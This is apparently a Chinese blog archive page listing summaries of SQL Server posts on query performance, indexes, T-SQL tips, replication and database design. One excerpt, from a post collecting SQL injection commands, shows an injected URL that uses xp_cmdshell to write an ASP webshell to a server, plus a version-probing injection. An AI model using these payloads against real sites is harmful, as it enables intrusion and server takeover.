写有效率的SQL查询(V)
摘要:先站在应用程序的角度说说它们的不同。1、直接拼SQL就像大家了解的那样,直接拼SQL带来了SQL注入攻击,带来了拼时些许的性能损失,但是拼不用添加SqlParameter,会少写很多代码——很多人喜欢直接拼,也许就因为这点。这种做法会把你拼好的SQL原样直接发送到DB服务器去执行。(注意类似”exec yourproc ‘param1’, 12”的语...
阅读全文
posted @
2008-01-22 11:29
博客人
阅读(628)
推荐(0)
如何从优化SQL入手提高数据仓库的ETL效率(转载)
摘要:1 引言数据仓库建设中的ETL(Extract, Transform, Load)是数据抽取、转换和装载到模型的过程,整个过程基本是通过控制用SQL语句编写的存储过程和函数的方式来实现对数据的直接操作,SQL语句的效率将直接影响到数据仓库后台的性能。目前,国内的大中型企业基本都具有四年以上计算机信息系统应用经验,积累了大量可分析的业务数据,这些信息系统中的数据需要通过搭建数据仓库平台才能得到科学...
阅读全文
posted @
2008-01-21 16:02
博客人
阅读(485)
推荐(0)
简单的3个SQL视图搞定所有SqlServer数据库字典 (转载)
摘要:(2007-11-29更新)网上有很多SQL SERVER数据库字典的SQL语句,七零八落,我在工作整理了一下思路,总结SQL代码如下。数据库字典包括表结构(分2K和2005)、索引和主键.外键.约束.视图.函数.存储过程.触发器.规则。可以在企业管理器、查询分析器中简单执行,直接了当的查出SQL2K及SQL2005的所有数据字典,方便文档的编写,希望对大家有帮助。1. SqlServer2000...
阅读全文
posted @
2008-01-21 12:21
博客人
阅读(609)
推荐(0)
SQL Server 索引结构及其使用(一)
摘要:SQL Server 索引结构及其使用(一)作者:freedk 一、深入浅出理解索引结构 实际上,您可以把索引理解为一种特殊的目录。微软的SQL SERVER提供了两种索引:聚集索引(clustered index,也称聚类索引、簇集索引)和非聚集索引(nonclustered index,也称非聚类索引、非簇集索引)。下面,我们举例来说明一下聚集索引和非聚集索引的区别: 其实,我们的汉语字典...
阅读全文
posted @
2007-06-08 10:27
博客人
阅读(293)
推荐(0)
MS-SQL数据库开发常用汇总和t-sql技巧集锦
摘要:MS-SQL数据库开发常用汇总和t-sql技巧集锦 把长日期转换为短日期 Convert(char(10),getdate(),120) MS-SQL数据库开发常用汇总 1.按姓氏笔画排序: Select * From TableName Order By CustomerName Collate Chinese_PRC_Stroke_ci_as 2.数据库加密: se...
阅读全文
posted @
2007-05-14 10:30
博客人
阅读(541)
推荐(0)
SQL Server开发人员应聘常被问的问题妙解汇总
摘要:目前在职场中很难找到非常合格的数据库开发人员。我的一个同事曾经说过:“SQL开发是一门语言,它很容易学,但是很难掌握。” 在面试应聘的SQL Server数据库开发人员时,我运用了一套标准的基准技术问题。下面这些问题是我觉得能够真正有助于淘汰不合格应聘者的问题。它们按照从易到难的顺序排列。当您问到关于主键和外键的问题时,后面的问题都十分有难度,因为答案可能会更难解释和说明,尤其是在面试的情形下...
阅读全文
posted @
2007-03-22 09:43
博客人
阅读(392)
推荐(0)
数据库设计中的14个技巧
摘要:1. 原始单据与实体之间的关系http://www.pconcool.com 可以是一对一、一对多、多对多的关系。在一般情况下,它们是一对一的关系:即一张原始单据对应且只对应一个实体。在特殊情况下,它们可能是一对多或多对一的关系,即一张原始单证对应多个实体,或多张原始单证对应一个实体。这里的实体可以理解为基本表。明确这种对应关系后,对我们设计录入界面大有好处。http://www.pconco...
阅读全文
posted @
2006-12-22 14:50
博客人
阅读(332)
推荐(0)
SQL集
摘要:-1、查找员工的编号、姓名、部门和出生日期,如果出生日期为空值,--显示日期不详,并按部门排序输出,日期格式为yyyy-mm-dd。select emp_no ,emp_name ,dept , isnull(convert(char(10),birthday,120),'日期不详') birthdayfrom employeeorder by dept --2、查找与喻自强在同一个单...
阅读全文
posted @
2006-12-22 10:22
博客人
阅读(402)
推荐(0)
[转]一些SQL日期时间技巧
摘要:通常,你需要获得当前日期和计算一些其他的日期,例如,你的程序可能需要判断一个月的第一天或者最后一天。你们大部分人大概都知道怎样把日期进行分割(年、月、日等),然后仅仅用分割出来的年、月、日等放在几个函数中计算出自己所需要的日期!在这篇文章里,我将告诉你如何使用DATEADD和DATEDIFF函数来计算出在你的程序中可能你要用到的一些不同日期。 在使用本文中的例子之前,你必须注意以下的问...
阅读全文
posted @
2006-08-08 16:24
博客人
阅读(1447)
推荐(0)
Oracle安装的一些问题收集[转]
摘要:在安装过程中出现的一些问题的解决办法。值得收藏与学习。比如在安装的时候如果有中文的路径则会出现类似这样的提示:加载数据库时出错:areasQueries Oracle的系统要求 企业版:CPU 最低PENTIUM 200M 推荐 PENTIUMIII 1G以上 内存 最低128M 推荐 512M 硬盘空间 系统盘140M 安装盘4.5G(FAT32)或2.75G(NTFS) 标准版...
阅读全文
posted @
2006-06-20 10:24
博客人
阅读(3614)
推荐(0)
SQL server服务器间的数据同步2
摘要:我们再次在SQL Server企业管理器里[复制]-> 右键选择 ->[配置发布、订阅服务器和分发],可以看到类似下图: 我们可以在 [发布服务器和分发服务器的属性] 窗口 -> [发布服务器] -> [新增] -> [确定] -> [发布数据库] -> [事务]/[合并] -> [确定] ...
阅读全文
posted @
2006-03-20 15:41
博客人
阅读(329)
推荐(0)
SQL server服务器间的数据同步1
摘要:在SQL Server 2000里设置和使用数据库复制之前,应先检查相关的几台SQL Server服务器下面几点是否满足: 1、MSSQLserver和Sqlserveragent服务是否是以域用户身份启动并运行的(.\administrator用户也是可以的) 如果登录用的是本地系统帐户local,将不具备网络功能,会产生以下错误: ...
阅读全文
posted @
2006-03-20 15:38
博客人
阅读(534)
推荐(0)
最详细的SQL注入相关的命令整理
摘要:QUOTE: 1、 用^转义字符来写ASP(一句话木马)文件的方法: http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^ >c:\mu.asp';-- echo ^ >c:\mu.asp2、 显示SQL系统版本: http://192.168.1.5/display...
阅读全文
posted @
2006-03-17 09:57
博客人
阅读(595)
推荐(0)
如何用SQL语句实现精确搜索以及模糊搜索
摘要:在写WEB项目的时候,搜索是必须提供的功能 有时候,客户会输入用空格或其他分隔符分隔的一组关键词,我们需要根据输入找出以下结果: 绝对包含整组关键词连续出现的结果 包含整组关键词里每个词条,但是不一定连续出现的结果 包含整组关键词里任一条或多条关键词的结果 就像你在GOOGLE里搜索SQL SERVER 2000, 它首先严格匹配整个字符串 在找不到的情况下,看有没有包含这三个单词的结果 如果连三...
阅读全文
posted @
2006-03-08 16:10
博客人
阅读(3455)
推荐(0)
子查询基础知识
摘要:子查询是一个 SELECT 查询,它返回单个值且嵌套在 SELECT、INSERT、UPDATE、DELETE 语句或其它子查询中。任何允许使用表达式的地方都可以使用子查询。下例中,一个子查询用作 SELECT 语句中名为 MaxUnitPrice 的列表达式。 SELECT Ord.OrderID, Ord.OrderDate, (SELECT MAX(OrdDet.UnitPri...
阅读全文
posted @
2006-03-08 16:01
博客人
阅读(365)
推荐(0)
SQl语句学习专题
摘要:SQL语句集锦--语 句 功 能--数据操作SELECT --从数据库表中检索数据行和列INSERT --向数据库表添加新数据行DELETE --从数据库表中删除数据行UPDATE --更新数据库表中的数据--数据定义CREATE TABLE --创建一个数据库表DROP TABLE ...
阅读全文
posted @
2006-03-08 15:45
博客人
阅读(1333)
推荐(0)
数据库设计构想
摘要:数据库设计构想 (模式与数据库设计之一) 一直以来我就有个想法希望能够把数据库设计的方式能够与模式挂上钩的,这里我所列出的内容可能还算不上模式,但与之有些类似,因此希望大家能够给予一些好的建议.有问题还请大家踊跃发言. 加上下述文字一则我认为我所列举的这些类似于模式的东西与上一帖子是分不开的,二则是为了凑个字数的. -----------------------------------------...
阅读全文
posted @
2006-03-07 11:16
博客人
阅读(476)
推荐(0)
客户关系管理 数据库设计案例
摘要:[客户关系管理] [涉 及 方] 1/上游客户: 供应商_(商品) 2/下游客户: 商品销售_大客户 商品销售_零售户 3/销售部门: 经理 营销人员 4/商品: 普通商品 其它商品 [需求描述] 1/档案管理 1/基本档案 1/上游客户档案 1/供货商基本信息 2/维护客户与商品的关联信息 3/供货商的形象档案(…) 4/供货商的纪念日管理 5/供货商往...
阅读全文
posted @
2006-03-07 10:57
博客人
阅读(1718)
推荐(0)
实现千万级数据分页的存储过程!
摘要:/* 经测试,在 14483461 条记录中查询第 100000 页,每页 10 条记录按升序和降序第一次时间均为 0.47 秒,第二次时间均为 0.43 秒,测试语法如下: exec GetRecordFromPage news,newsid,10,100000 news 为 表名, newsid 为关键字段, 使用时请先对 newsid 建立索引。*//* 函数名称: GetRecor...
阅读全文
posted @
2006-02-20 16:38
博客人
阅读(414)
推荐(0)